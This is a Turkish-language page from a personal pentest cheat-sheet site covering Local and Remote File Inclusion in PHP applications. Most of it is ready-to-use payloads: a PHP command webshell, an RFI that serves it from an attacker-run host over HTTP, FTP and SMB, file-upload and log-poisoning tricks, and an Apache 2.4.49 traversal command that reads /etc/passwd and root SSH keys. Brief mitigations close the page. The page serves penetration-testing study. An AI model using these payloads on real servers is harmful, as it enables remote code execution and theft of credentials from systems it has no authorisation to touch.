🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • File Inclusion Nedir?
  • Yöntemler
  • PHP Wrappers
  • RFI
  • Gif Upload LFI
  • Zip Upload LFI
  • Phar Upload
  • PHP Log Poisoning
  • LFI Wordlists
  • Apache HTTP Server 2.4.49
  • Önlemler
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

LFI/RFI

PreviousSSRFNextInsecure Deserialization

Last updated 14 days ago

Was this helpful?

File Inclusion Nedir?

  • LFI (Local File Inclusion): Saldırganın, uygulamadaki güvenlik açığını kullanarak sunucu üzerindeki yerel dosyaları çağırmasına olanak tanıyan bir açıklıktır. Örneğin, sistemdeki /etc/passwd gibi kritik dosyaların içeriği görüntülenebilir.

  • RFI (Remote File Inclusion): Saldırganın, uzak bir sunucudan zararlı bir dosyayı hedef sisteme dahil ettirmesini sağlayan açıklıktır. Bu açık sayesinde dış kaynaktaki bir komut dosyası sisteme çalıştırılmak üzere dahil edilebilir.

  • Bu açıklardan genellikle PHP gibi dinamik içerik yöneten dillerde yapılan hatalı dosya dahil etme işlemleri sorumludur. Kullanıcıdan alınan veri doğrudan include() gibi fonksiyonlarla birleştirildiğinde bu açıklar ortaya çıkar.

Yöntemler

PHP Wrappers

http://example.com?page=php://filter/convert.base64-encode/resource=/etc/passwd

http://example.com?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

http://example.com?page=php://input&cmd=id # POST data <?php system($_GET["cmd"]); ?>

http://example.com?page=expect://id

RFI

echo '<?php system($_GET["cmd"]); ?>' > shell.php


python -m http.server 80
http://example.com?page=http://192.168.1.2/shell.php&cmd=ls


python -m pyftpdlib -p 21
http://example.com?page=ftp://192.168.1.2/shell.php&cmd=id

impacket-smbserver -smb2support share .
http://example.com?page=\\192.168.1.2\share\shell.php&cmd=whoami

Gif Upload LFI

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

http://example.com?page=./profile_images/shell.gif&cmd=id

Zip Upload LFI

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php


http://example.com?page=zip://./profile_images/shell.jpg%23shell.php&cmd=id

Phar Upload

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

http://example.com?page=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

PHP Log Poisoning


# PHP Session Poisoning
http://example.com?page=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
http://example.com?page=C:\Windows\Temp\sess_nhhv8i0o6ua4g88bkdl9u1fdsd
http://example.com?page=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
http://example.com?page=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

# PHP Log Poisoning

http://example.com?page=/var/log/apache2/access.log
http://example.com?page=/var/log/nginx/access.log
http://example.com?page=C:\nginx\log\access.log
http://example.com?page=C:\xampp\apache\logs\access.log

User Agent: <?php system($_GET['cmd']); ?>

http://example.com?page=/var/log/apache2/access.log?cmd=id

LFI Wordlists

Apache HTTP Server 2.4.49

curl -s --path-as-is "http://192.168.199.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

/etc/passwd
/root/.ssh/id_rsa
/root/.ssh/id_ecdsa

Önlemler

  • Uygulama üzerinden hiçbir şekilde dosya dahil işlemi kullanıcı girdisiyle doğrudan yapılmamalıdır. Dahil edilecek dosyalar sabit olarak tanımlanmalı ya da whitelist yöntemi kullanılmalıdır.

  • ../, http://, https://, %00 gibi karakterler filtrelenmeli ya da sistemde realpath() gibi fonksiyonlarla doğrulama yapılmalıdır.

  • allow_url_include ve allow_url_fopen gibi ayarlar kapatılmalıdır. Bu ayarlar açık olduğunda uzak sunuculardan zararlı içerik çağrılabilir.

  • Kullanıcının dahil etmek istediği sayfalar sadece önceden tanımlı dosya listesi içinden seçilebilmelidir. Örneğin: home.php, about.php gibi.

  • Blacklist kullanımı (örneğin sadece “../” engellemek) tek başına yeterli değildir. Saldırganlar bu önlemleri aşmak için alternatif yollar kullanabilirler. Bu yüzden whitelist yaklaşımı tercih edilmelidir.

Kaynaklar

Linux:

Win:

Portswigger Academy:

🕸️
https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux
https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows
https://portswigger.net/web-security/file-path-traversal